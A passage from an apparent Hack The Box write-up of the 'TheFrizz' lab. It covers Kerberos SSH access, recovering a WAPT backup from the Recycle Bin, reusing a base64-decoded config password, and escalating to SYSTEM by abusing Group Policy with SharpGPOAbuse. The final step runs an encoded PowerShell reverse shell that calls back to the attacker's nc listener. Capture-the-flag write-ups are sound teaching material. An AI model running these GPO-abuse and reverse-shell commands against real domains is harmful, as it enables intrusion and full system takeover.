SMB frizzdc.frizz.htb 445 frizzdc [+] frizz.htb\f.frizzle:Jenni_Luvs_Magic23
SMB frizzdc.frizz.htb 445 frizzdc Enumerated shares
SMB frizzdc.frizz.htb 445 frizzdc Share Permissions Remark
SMB frizzdc.frizz.htb 445 frizzdc ----- ----------- ------
SMB frizzdc.frizz.htb 445 frizzdc ADMIN$ Remote Admin
SMB frizzdc.frizz.htb 445 frizzdc C$ Default share
SMB frizzdc.frizz.htb 445 frizzdc IPC$ READ Remote IPC
SMB frizzdc.frizz.htb 445 frizzdc NETLOGON READ Logon server share
SMB frizzdc.frizz.htb 445 frizzdc SYSVOL READ Logon server share
SSH
Trying to connect over SSH returns an error:
oxdf@hacky$ sshpass -p 'Jenni_Luvs_Magic23' ssh f.frizzle@frizz.htb
f.frizzle@frizz.htb: Permission denied (gssapi-with-mic,keyboard-interactive).
oxdf@hacky$ sshpass -p 'Jenni_Luvs_Magic23' ssh f.frizzle@frizzdc.frizz.htb
f.frizzle@frizzdc.frizz.htb: Permission denied (gssapi-with-mic,keyboard-interactive).
I’ll use netexec
(see this tweet) to generate the krb5.conf
file:
oxdf@hacky$ netexec smb frizzdc.frizz.htb -u f.frizzle -p 'Jenni_Luvs_Magic23' -k --generate-krb5-file krb5.conf
SMB frizzdc.frizz.htb 445 frizzdc x64 (name:frizzdc) (domain:frizz.htb) (signing:True) (SMBv1:False)
SMB frizzdc.frizz.htb 445 frizzdc [+] frizz.htb\f.frizzle:Jenni_Luvs_Magic23
oxdf@hacky$ cat krb5.conf
[libdefaults]
dns_lookup_kdc = false
dns_lookup_realm = false
default_realm = FRIZZ.HTB
[realms]
FRIZZ.HTB = {
kdc = frizzdc.frizz.htb
admin_server = frizzdc.frizz.htb
default_domain = frizz.htb
}
[domain_realm]
.frizz.htb = FRIZZ.HTB
frizz.htb = FRIZZ.HTB
oxdf@hacky$ sudo cp krb5.conf /etc/krb5.conf
Now I can get a ticket as f.frizzle:
oxdf@hacky$ kinit f.frizzle
Password for f.frizzle@FRIZZ.HTB:
oxdf@hacky$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: f.frizzle@FRIZZ.HTB
Valid starting Expires Service principal
03/08/2025 05:46:41 03/08/2025 15:46:41 krbtgt/FRIZZ.HTB@FRIZZ.HTB
renew until 03/09/2025 05:46:37
And connect over SSH with either the -k
or the -o GSSAPIAuthentication=yes
option to tell it to use Kerberos:
oxdf@hacky$ ssh -k f.frizzle@frizzdc.frizz.htb
PowerShell 7.4.5
PS C:\Users\f.frizzle>
I lost a bunch of time with this ssh
command failing because my hosts
file was:
10.10.11.60 frizz.htb frizzdc.frizz.htb
And not:
10.10.11.60 frizzdc.frizz.htb frizz.htb
In this case, SSH failed:
oxdf@hacky$ ssh -k f.frizzle@frizz.htb
f.frizzle@frizz.htb: Permission denied (gssapi-with-mic,keyboard-interactive).
If I added -vvv
to the command, I’d see this error:
...[snip]...
debug1: Next authentication method: gssapi-with-mic
debug1: Unspecified GSS failure. Minor code may provide more information
Server not found in Kerberos database
...[snip]...
With this shell, I can grab the user flag:
PS C:\Users\f.frizzle\Desktop> type .\user.txt
9a42de6c************************
Shell as m.schoolbus
Enumeration
Home Directories
f.frizzle’s is able to list directories in C:\Users
, but not access anything in any of them:
PS C:\Users> tree . /f
Folder PATH listing
Volume serial number is 00000209 75A3:D410
C:\USERS
├───Administrator
├───f.frizzle
│ ├───Desktop
│ │ user.txt
│ │
│ ├───Documents
│ ├───Downloads
│ ├───Favorites
│ ├───Links
│ ├───Music
│ ├───Pictures
│ ├───Saved Games
│ └───Videos
├───M.SchoolBus
├───Public
├───v.frizzle
└───w.Webservice
Their home directory is empty apart from the flag. There are two other potentially interesting users, m.schoolbus and v.frizzle.
Filesystem Root
The root of the filesystem has an unusual file, but f.frizzle can’t access it:
PS C:\> ls -force
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs 10/29/2024 7:31 AM $RECYCLE.BIN
d--h- 10/29/2024 7:36 AM $WinREAgent
d--hs 2/20/2025 2:51 PM Config.Msi
l--hs 10/29/2024 9:12 AM Documents and Settings -> C:\Users
d---- 5/8/2021 1:15 AM PerfLogs
d-r-- 2/26/2025 8:13 AM Program Files
d---- 5/8/2021 2:34 AM Program Files (x86)
d--h- 2/20/2025 2:50 PM ProgramData
d--hs 10/29/2024 9:12 AM Recovery
d--hs 10/29/2024 7:25 AM System Volume Information
d-r-- 10/29/2024 7:31 AM Users
d---- 2/27/2025 9:38 AM Windows
d---- 10/29/2024 7:28 AM xampp
-a-hs 10/29/2024 8:27 AM 12288 DumpStack.log.tmp
PS C:\> cat .\DumpStack.log.tmp
Get-Content: Access to the path 'C:\DumpStack.log.tmp' is denied.
I’m using -force
to show hidden files and directories as well.
Otherwise, there isn’t too much unusual here. I’ve already looked at the web directory.
Installed Programs
I’ll check the Program Files
and Program Files (x86)
directories for installed programs. Neither have much of interest:
PS C:\Program Files> ls
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 2/20/2025 2:50 PM Common Files
d---- 5/8/2021 1:15 AM Internet Explorer
d---- 5/8/2021 1:15 AM ModifiableWindowsApps
d---- 2/26/2025 8:13 AM PackageManagement
d---- 10/29/2024 7:15 AM PowerShell
d---- 2/20/2025 2:50 PM VMware
d---- 2/26/2025 8:18 AM Windows Defender
d---- 10/29/2024 7:45 AM Windows Defender Advanced Threat Protection
d---- 5/8/2021 2:34 AM Windows NT
d---- 2/26/2025 8:13 AM WindowsPowerShell
PS C:\Program Files (x86)> ls
Directory: C:\Program Files (x86)
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 5/8/2021 1:27 AM Common Files
d---- 5/8/2021 1:15 AM Internet Explorer
d---- 5/8/2021 1:27 AM Microsoft.NET
d---- 5/8/2021 2:33 AM Windows Defender
d---- 5/8/2021 2:34 AM Windows NT
d---- 5/8/2021 1:15 AM WindowsPowerShell
RecycleBin
Enumeration
User’s recycle bins are stored in C:\$RECYCLE.BIN
by their SID. There’s one recycle bin on TheFrizz, and it’s a hidden directory:
PS C:\> cd '$RECYCLE.BIN'
PS C:\$RECYCLE.BIN> ls
PS C:\$RECYCLE.BIN> ls -force
Directory: C:\$RECYCLE.BIN
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs 10/29/2024 7:31 AM S-1-5-21-2386970044-1145388522-2932701813-1103
Note that without single quotes around $RECYCLE.BIN
it will evaluate as an empty environment variable and cd
will go to the user’s home directory.
There’s one file pair in this user’s bin:
PS C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103> ls
Directory: C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 10/29/2024 7:31 AM 148 $IE2XMEG.7z
-a--- 10/24/2024 9:16 PM 30416987 $RE2XMEG.7z
Recycle Bins have two types of files. The ones that start with $I
store metadata about the file. The $R
file holds the original content.
Metadata
Diving into the metadata file isn’t necessary to solve TheFrizz, but it’s interesting. While the metadata file has the extension of the original file, it is not that format. The structure of the $I
file for Windows 10 and later is:
Offset | Size | Data | Description |
---|---|---|---|
0 | 8 | Header | |
8 | 8 | Little-Endian Int | File Size |
16 | 8 | Windows FILETIME | Deletion Timestamp |
24 | 4 | Little-Endian Int | File Name Length |
28 | variable | UTF-16 String | File Name |
A hex dump in PowerShell shows this:
PS C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103> format-hex '.\$IE2XMEG.7z'
Label: C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\$IE2XMEG.7z
Offset Bytes Ascii
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
------ ----------------------------------------------- -----
0000000000000000 02 00 00 00 00 00 00 00 5B 20 D0 01 00 00 00 00 � [ �
0000000000000010 00 16 97 32 0F 2A DB 01 3C 00 00 00 43 00 3A 00 ��2�*�< C :
0000000000000020 5C 00 55 00 73 00 65 00 72 00 73 00 5C 00 66 00 \ U s e r s \ f
0000000000000030 2E 00 66 00 72 00 69 00 7A 00 7A 00 6C 00 65 00 . f r i z z l e
0000000000000040 5C 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 \ A p p D a t a
0000000000000050 5C 00 4C 00 6F 00 63 00 61 00 6C 00 5C 00 54 00 \ L o c a l \ T
0000000000000060 65 00 6D 00 70 00 5C 00 77 00 61 00 70 00 74 00 e m p \ w a p t
0000000000000070 2D 00 62 00 61 00 63 00 6B 00 75 00 70 00 2D 00 - b a c k u p -
0000000000000080 73 00 75 00 6E 00 64 00 61 00 79 00 2E 00 37 00 s u n d a y . 7
0000000000000090 7A 00 00 00
I can load the file and parse it:
PS C:\> $bytes = [System.IO.File]::ReadAllBytes('C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\$IE2XMEG.7z')
PS C:\> [BitConverter]::ToInt64($bytes, 8)
30416987
PS C:\> [datetime]::FromFileTimeUtc([BitConverter]::ToInt64($bytes, 16))
Tuesday, October 29, 2024 2:31:09 PM
PS C:\> [BitConverter]::ToInt32($bytes, 24)
60
PS C:\> [System.Text.Encoding]::Unicode.GetString($bytes, 28, 120)
C:\Users\f.frizzle\AppData\Local\Temp\wapt-backup-sunday.7z
It’s using 120 bytes because the length of 60 UTF-16 characters is 120 raw bytes.
Alternatively, I can get this with PowerShell using a COM object to read from the recycle bin:
PS C:\> $shell = New-Object -com shell.application
PS C:\> $rb = $shell.Namespace(10)
PS C:\> $rb.items()
Application : System.__ComObject
Parent : System.__ComObject
Name : wapt-backup-sunday.7z
Path : C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\$RE2XMEG.7z
GetLink :
GetFolder :
IsLink : False
IsFolder : False
IsFileSystem : True
IsBrowsable : False
ModifyDate : 10/24/2024 8:16:29 PM
Size : 30416987
Type : 7Z File
Recover File
The size of the $R
file matches exactly the size reported by the metadata:
PS C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103> ls
Directory: C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 10/29/2024 7:31 AM 148 $IE2XMEG.7z
-a--- 10/24/2024 9:16 PM 30416987 $RE2XMEG.7z
I’m able to exfil this file using scp
:
oxdf@hacky$ scp 'f.frizzle@frizz.htb:C:/$RECYCLE.BIN/S-1-5-21-2386970044-1145388522-2932701813-1103/$RE2XMEG.7z' wapt-backup-sunday.7z
$RE2XMEG.7z 100% 29MB 353.2KB/s 01:24
oxdf@hacky$ file wapt-backup-sunday.7z
wapt-backup-sunday.7z: 7-zip archive data, version 0.4
WAPT
The files in the archive decompress into a wapt
directory:
oxdf@hacky$ 7z x wapt-backup-sunday.7z
7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit locale=en_US.UTF-8 Threads:12 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 30416987 bytes (30 MiB)
Extracting archive: wapt-backup-sunday.7z
--
Path = wapt-backup-sunday.7z
Type = 7z
Physical Size = 30416987
Headers Size = 65880
Method = ARM64 LZMA2:26 LZMA:20 BCJ2
Solid = +
Blocks = 3
Everything is Ok
Folders: 684
Files: 5384
Size: 141187501
Compressed: 30416987
oxdf@hacky$ ls wapt
auth_module_ad.py db licencing.py setupdevhelpers.py ssl waptconsole.exe.manifest wapt-get.ini.tmpl wapt.psproj waptservice.exe waptwua
cache DLLs log setuphelpers_linux.py templates waptcrypto.py wapt-get.py waptpython.exe wapt-signpackages.py wgetwads32.exe
common.py keyfinder.py private setuphelpers_macos.py trusted_external_certs wapt-enterprise.ico waptguihelper.pyd waptpythonw.exe wapttftpserver wgetwads64.exe
conf keys __pycache__ setuphelpers.py unins000.msg wapt-get.exe waptlicences.pyd wapt-scanpackages.py wapttftpserver.exe
conf.d languages revision.txt setuphelpers_unix.py version-full wapt-get.exe.manifest waptmessage.exe waptself.exe wapttray.exe
COPYING.txt lib Scripts setuphelpers_windows.py waptbinaries.sha256 wapt-get.ini waptpackage.py waptserver.exe waptutils.py
There’s a lot here. There are a couple databases in wapt/db
, but neither with anything that seems interesting.
There are a bunch of certificates and keys, but none that are useful for anything. wapt/conf/
has some of these, as well as waptserver.ini
:
oxdf@hacky$ ls wapt/conf
ca-192.168.120.158.crt ca-192.168.120.158.pem forward_ssl_auth.conf require_ssl_auth.conf uwsgi_params waptserver.ini waptserver.ini.template
The .ini
file has configuration data:
[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt
[tftpserver]
root_dir = c:\wapt\waptserver\repository\wads\pxe
log_path = c:\wapt\log
The secret_key
decodes to something with a lot of non-ASCII characters in it:
oxdf@hacky$ echo "ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ" | base64 -d | xxd
00000000: ca53 d87e 7f6d 4d4f 480e ef72 b2c3 f696 .S.~.mMOH..r....
00000010: e2a1 8d08 a31c abed bb12 335f d696 84fc ..........3_....
00000020: 982a d44e eed3 12ab 9b04 bab7 53c0 00c9 .*.N........S...
The wapt_password
on the other hand gives a text password:
oxdf@hacky$ echo IXN1QmNpZ0BNZWhUZWQhUgo= | base64 -d
!suBcig@MehTed!R
SSH
I’ll try that password with the usernames I identified as the next targets above, m.schoolbus and v.frizzle. If they don’t work, I’ll make user list and spray it more broadly. But the first one I check works for SMB:
oxdf@hacky$ netexec smb frizzdc.frizz.htb -u m.schoolbus -p '!suBcig@MehTed!R' -k
SMB frizzdc.frizz.htb 445 frizzdc x64 (name:frizzdc) (domain:frizz.htb) (signing:True) (SMBv1:False)
SMB frizzdc.frizz.htb 445 frizzdc [+] frizz.htb\m.schoolbus:!suBcig@MehTed!R
oxdf@hacky$ netexec ssh frizzdc.frizz.htb -u m.schoolbus -p '!suBcig@MehTed!R' -k
SSH frizzdc.frizz.htb 22 frizzdc.frizz.htb SSH-2.0-OpenSSH_for_Windows_8.1
It doesn’t work for SSH because netexec
does not yet support Kerberos auth for SSH (there’s a PR to add this currently being worked). I’m able to SSH in:
oxdf@hacky$ kinit m.schoolbus
Password for m.schoolbus@FRIZZ.HTB:
oxdf@hacky$ ssh -k m.schoolbus@frizzdc.frizz.htb
PowerShell 7.4.5
PS C:\Users\M.SchoolBus>
Shell as nt authority\system
Enumeration
Looking at the m.schoolbus user, the thing that jumps out is membership in an interesting group:
PS C:\> net user m.schoolbus
User name M.SchoolBus
Full Name Marvin SchoolBus
Comment Desktop Administrator
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/29/2024 7:27:03 AM
Password expires Never
Password changeable 10/29/2024 7:27:03 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 3/12/2025 12:45:31 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Domain Users *Desktop Admins
The command completed successfully.
This group is a member of the “Group Policy Creator Owners” group:
PS C:\Users\M.SchoolBus> get-adgroup "Desktop Admins" -Properties memberOf | Select-Object -ExpandProperty memberOf
CN=Group Policy Creator Owners,CN=Users,DC=frizz,DC=htb
whoami /groups
shows this as well:
PS C:\> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
============================================ ================ ============================================== ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
frizz\Desktop Admins Group S-1-5-21-2386970044-1145388522-2932701813-1121 Mandatory group, Enabled by default, Enabled group
frizz\Group Policy Creator Owners Group S-1-5-21-2386970044-1145388522-2932701813-520 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
frizz\Denied RODC Password Replication Group Alias S-1-5-21-2386970044-1145388522-2932701813-572 Mandatory group, Enabled by default, Enabled group, Local Group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
GPO
Background
While “Group Policy Creator Owners” is not a default group, it strongly suggests that m.schoolbus is able to read and write Group Policy Objects.
[Group Policy Objects] (ihttps://learn.microsoft.com/en-us/previous-versions/windows/desktop/policy/group-policy-objects)(GPOs) are collections of policy settings that apply to various computers, users, and groups across an Active Directory domain.
SharpGPOAbuse is a project for attacking GPOs with capabilities to modify users, add local admins, set startup scripts, run commands, etc.
POC
There’s an already compiled copy of SharpGPOAbuse available from SharpCollection, which I’ll download to my VM, and then upload with scp
:
oxdf@hacky$ scp -k SharpGPOAbuse.exe m.schoolbus@frizz.htb:/windows/temp/
SharpGPOAbuse.exe 100% 70KB 236.3KB/s 00:00
SharpGPOAbuse.exe
requires a “vulnerable” (writable) GPO. There are two GPOs on the domain:
PS C:\> Get-GPO -all
DisplayName : Default Domain Policy
DomainName : frizz.htb
Owner : frizz\Domain Admins
Id : 31b2f340-016d-11d2-945f-00c04fb984f9
GpoStatus : AllSettingsEnabled
Description :
CreationTime : 10/29/2024 7:19:24 AM
ModificationTime : 10/29/2024 7:25:44 AM
UserVersion :
ComputerVersion :
WmiFilter :
DisplayName : Default Domain Controllers Policy
DomainName : frizz.htb
Owner : frizz\Domain Admins
Id : 6ac1786c-016f-11d2-945f-00c04fb984f9
GpoStatus : AllSettingsEnabled
Description :
CreationTime : 10/29/2024 7:19:24 AM
ModificationTime : 10/29/2024 7:19:24 AM
UserVersion :
ComputerVersion :
WmiFilter :
Rather than mess with these, I’ll try to create my own:
PS C:\> New-GPO -name "0xdf"
DisplayName : 0xdf
DomainName : frizz.htb
Owner : frizz\M.SchoolBus
Id : 551ab862-1897-42aa-a274-f95bdb262b3f
GpoStatus : AllSettingsEnabled
Description :
CreationTime : 3/12/2025 1:02:20 AM
ModificationTime : 3/12/2025 1:02:20 AM
UserVersion :
ComputerVersion :
WmiFilter :
I’ll link it to this computer:
PS C:\> New-GPLink -Name "0xdf" -target "DC=frizz,DC=htb"
GpoId : 551ab862-1897-42aa-a274-f95bdb262b3f
DisplayName : 0xdf
Enabled : True
Enforced : False
Target : DC=frizz,DC=htb
Order : 2
I’ll use SharpGPOAbuse.exe
to execute a command:
PS C:\> \windows\temp\SharpGPOAbuse.exe --addcomputertask --GPOName "0xdf" --Author "0xdf" --TaskName "RevShell" --Command "powershell.exe" --Arguments "whoami > \users\m.schoolbus\test"
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] GUID of "0xdf" is: {84F481F5-7C75-49D2-8432-59648FD073FD}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{84F481F5-7C75-49D2-8432-59648FD073FD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!
This will run whoami
and pipe the results into C:\Users\m.schoolbus
. Just after running this, that file doesn’t exist:
PS C:\> cat \users\m.schoolbus\test
Get-Content: Cannot find path 'C:\users\m.schoolbus\test' because it does not exist.
gpupdate /force
will propagate the GPO:
PS C:\> gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.
PS C:\> cat \users\m.schoolbus\test
nt authority\system
It worked!
Shell
It’s best to work off a clean GPO for another command (though there are methods to update). There’s a cleanup script running every couple minutes as well.
For simplicity, I’ll create a new one and link it:
PS C:\> New-GPO -name "0xdf-rev"
DisplayName : 0xdf-rev
DomainName : frizz.htb
Owner : frizz\M.SchoolBus
Id : 45ea6a90-38e5-4770-a8f5-db032ea35ba5
GpoStatus : AllSettingsEnabled
Description :
CreationTime : 3/12/2025 1:19:30 AM
ModificationTime : 3/12/2025 1:19:30 AM
UserVersion :
ComputerVersion :
WmiFilter :
PS C:\> New-GPLink -Name "0xdf-rev" -target "DC=frizz,DC=htb"
GpoId : 45ea6a90-38e5-4770-a8f5-db032ea35ba5
DisplayName : 0xdf-rev
Enabled : True
Enforced : False
Target : DC=frizz,DC=htb
Order : 2
Now I’ll set the command as a PowerShell reverse shell and update it:
PS C:\> \windows\temp\SharpGPOAbuse.exe --addcomputertask --GPOName "0xdf-rev" --Author "0xdf" --TaskName "RevShell" --Command "powershell.exe" --Arguments "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] GUID of "0xdf-rev" is: {45EA6A90-38E5-4770-A8F5-DB032EA35BA5}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{45EA6A90-38E5-4770-A8F5-DB032EA35BA5}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!
PS C:\> gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.
When that completes, there’s a reverse shell at my listening nc
:
oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.60 59805
PS C:\Windows\system32> whoami
nt authority\system
From here I can read the final flag:
PS C:\users\administrator\desktop> type root.txt
65424e6c************************